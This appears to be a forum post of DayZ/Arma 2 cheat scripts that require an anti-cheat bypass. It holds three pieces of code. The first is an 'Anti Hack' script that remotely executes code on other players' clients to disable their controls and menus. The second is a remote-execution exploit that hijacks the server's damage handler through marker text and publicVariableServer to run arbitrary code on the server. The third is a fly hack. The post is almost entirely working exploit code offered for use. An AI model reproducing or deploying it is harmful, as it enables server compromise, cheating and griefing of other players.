YOU WILL NEED WORKING BYPASS FOR THIS
Anti Hack Server Monitor
Code:
_whitelist = [getPlayeruid player, "37268230", "86626566", "89859590", "36931974", "42098566", "803264", "87395782", "37288710", "5232320", "45480518", "72140422", "61091782", "56675334", "69595078", "66223366", "72053510"];
_nohacks = "(findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0xD2) then
{
player setPos [getPos player select 0, getPos player select 1, 999];
startLoadingScreen [""Cock Blocked""];
}'];";
[_nohacks] execVM "furiouswai\AJ_Scripts\runMagicaly.sqf";
_nohacks2 = "(findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0xD3) then
{
player setPos [getPos player select 0, getPos player select 1, 999];
startLoadingScreen [""Cock Blocked""];
}'];";
[_nohacks2] execVM "furiouswai\AJ_Scripts\runMagicaly.sqf";
_antihax = format ["if (isServer) then
{
[] spawn
{
antihax = true;
while {anti***** do
{
call compile ('[nil, nil, rSP'+'AWN, [], {if (isNil ""antihaxlawl"") then
{
antihaxlawl = true;
if !(getPlayerUID player in %1) then
{
MY_MENU_inCommunication_fake = [];
showCommandingMenu ""#USER:MY_MENU_inCommunication_fake"";
while {antihaxlawl} do
{
((findDisplay 12) displayCtrl 51) ctrlRemoveAllEventHandlers ""MouseButtonDown"";
(finddisplay 46) displayRemoveAllEventHandlers ""KeyDown"";
playableUnits = [player, ""test2""];
allUnits = [player, ""test2""];
vehicles = [""test1"", ""test2""];
allMissionObjects = [""test1"", ""test2""];
_curposes = (getPosASL player);
_lastPoses = player getVariable[""lastPosition89"", _curposes];
_curTime = time;
_lastTime = player getVariable [""lastTimes89"", _curtime];
_distance = _lastPoses distance _curPoses;
_difftime = _curtime - _lasttime;
if (_difftime == 0) then {_difftime = 0.001;};
_speed = _distance / _difftime;
_maxspeed = 30;
_mount = vehicle player;
if(_mount == player AND _speed > _maxspeed AND (_curPoses select 0) > 2 AND (_lastPoses select 0) > 2) then
{
player setPosASL _lastPoses;
}
else
{
player setVariable [""lastPosition89"", _curposes];
player setVariable [""lastTimes89"", _curtime];
};
for ""_i"" from 0 to 100 do {player removeAction _i};
(vehicle player) addEventHandler [""handleDamage"", {true}];
(vehicle player) removeAllEventHandlers ""handleDamage"";
(vehicle player) allowDamage true;
sleep 1;
};
};
};}] call RE;');
sleep 30;
};
};
};", _whitelist];
sleep 1;
nilx2 = [_antihax] execVM "furiouswai\AJ_Scripts\runMagicaly.sqf";
Remote Exec
Code:
deleteMarker "dwarden";
marker = "dwarden";
marker = createMarker [marker, [0,0,0]];
if (isNil "reinit") then
{
reinit = true;
marker setMarkerText "fnc_usec_damageHandler={if(isServer&&((_this select 2)==0))then{_code=markerText'dwarden';call compile _code;remExField=[nil,nil,(';'+_code+';')];publicVariable'remExField';}else{_this call compile preprocessFileLineNumbers'\z\addons\dayz_code\compile\fn_damageHandler.sqf';};};";
remExField = [nil,nil,";fnc_usec_damageType = BIS_fnc_swapVars;"];
publicVariableServer "remExField";
sleep 1;
dayzHit = [player,0,"___v2 = markerText 'dwarden';0",0,0];
publicVariableServer "dayzHit";
sleep 1;
hint "Init RE";
};
marker setMarkerText (_this select 0);
_wound = [["body","hands","legs","head_hit","penis"],[0.45,0.2,0.05,0.2,0.1]] call BIS_fnc_selectRandomWeighted;
_unit = (entities "zZombie_Base") select (random (count entities "zZombie_Base"));
dayzHit = [player,_wound,0,_unit,"zombie"];
publicVariableServer "dayzHit";
FLY :]
Code:
forwardAndBackward = 4;
leftAndRight = 2;
upAndDown = 5;
distanceFromGround = 1;
hovering = nil;
hoverPos = nil;
move_forward =
{
if ((getPosATL (vehicle player) select 2) > distanceFromGround) then
{
_vehicle = (vehicle player);
_vel = velocity _vehicle;
_dir = direction _vehicle;
_speed = 0.4; comment "Added speed";
_vehicle setVelocity [(_vel select 0)+(sin _dir*_speed),(_vel select 1)+
(cos _dir*_speed),0.4];
};
};
move_left =
{
if ((getPosATL (vehicle player) select 2) > distanceFromGround) then
{
_leftDirection = getdir (vehicle player);
(vehicle player) setdir (_leftDirection) - leftAndRight;
};
};
move_backward =
{
if ((getPosATL (vehicle player) select 2) > distanceFromGround) then
{
_vehicle = (vehicle player);
_vel = velocity _vehicle;
_dir = direction _vehicle;
_speed = -0.4; comment "Added speed";
_vehicle setVelocity [(_vel select 0)+(sin _dir*_speed),(_vel select 1)+
(cos _dir*_speed),0.4];
};
};
move_right =
{
if ((getPosATL (vehicle player) select 2) > distanceFromGround) then
{
_rightDirection = getdir (vehicle player);
(vehicle player) setdir (_rightDirection) + leftAndRight;
player setVariable["lastPos",1];player setVariable["lastPos",[]];
};
};
move_up =
{
if ((getPosATL (vehicle player) select 2) < distanceFromGround) then
{
//player setVariable["dayz_isSwimming",true,false];
//player playMoveNow "AswmPercMrunSnonWnonDf_AswmPercMstpSnonWnonDnon"
};
_vehicle = (vehicle player);
_vel = velocity _vehicle;
_dir = direction _vehicle;
_speed = 3; comment "Added speed";
_vehicle setVelocity [(_vel select 0),(_vel select 1),4];
};
move_down =
{
if ((getPosATL (vehicle player) select 2) > distanceFromGround) then
{
_vehicle = (vehicle player);
_forwardCurrentDirection = getdir (vehicle player);
_forwardCurrentPosition = getPosATL (vehicle player);
(vehicle player) setdir _forwardCurrentDirection;
_vehicle setVelocity [0,0,-4];
};
};
toggle_hover =
{
if (isnil "hovering") then
{
hovering = true;
titleText ["Now hovering","PLAIN DOWN"]; titleFadeOut 4;
hoverPos = getPosATL (vehicle player);
}
else
{
hovering = nil;
titleText ["No longer hovering","PLAIN DOWN"]; titleFadeOut 4;
//hoverPos = nil;
};
};
if (isnil "iBeFlying") then
{
titleText ["We're flying!!! (Press Spacebar to toggle hover)","PLAIN DOWN"]; titleFadeOut 4;
iBeFlying = true;
keyForward = (findDisplay 46) displayAddEventHandler ["KeyDown","if ((_this select 1) == 17) then {call move_forward;}"]; //W - Forward
keyLeft = (findDisplay 46) displayAddEventHandler ["KeyDown","if ((_this select 1) == 30) then {call move_left;}"]; //A - Left
keyBackward = (findDisplay 46) displayAddEventHandler ["KeyDown","if ((_this select 1) == 31) then {call move_backward;}"]; //S - Backward
keyRight = (findDisplay 46) displayAddEventHandler ["KeyDown","if ((_this select 1) == 32) then {call move_right;}"]; //D - Right
keyUp = (findDisplay 46) displayAddEventHandler ["KeyDown","if ((_this select 1) == 16) then {call move_up;}"]; //Q - Up
keyDown = (findDisplay 46) displayAddEventHandler ["KeyDown","if ((_this select 1) == 44) then {call move_down;}"]; //Z - Down
keyHover = (findDisplay 46) displayAddEventHandler ["KeyDown","if ((_this select 1) == 69) then {call toggle_hover;}"]; //Numlock - Toggle Hover
}
else
{
titleText ["Going Down!!!","PLAIN DOWN"]; titleFadeOut 4;
iBeFlying = nil;
(findDisplay 46) displayRemoveEventHandler ["KeyDown", keyForward];
(findDisplay 46) displayRemoveEventHandler ["KeyDown", keyLeft];
(findDisplay 46) displayRemoveEventHandler ["KeyDown", keyBackward];
(findDisplay 46) displayRemoveEventHandler ["KeyDown", keyRight];
(findDisplay 46) displayRemoveEventHandler ["KeyDown", keyUp];
(findDisplay 46) displayRemoveEventHandler ["KeyDown", keyDown];
(findDisplay 46) displayRemoveEventHandler ["KeyDown", keyHover];
};
while {iBeFlying} do
{
if (hovering) then
{
(vehicle player) setvelocity [0,0,0.2];
};
};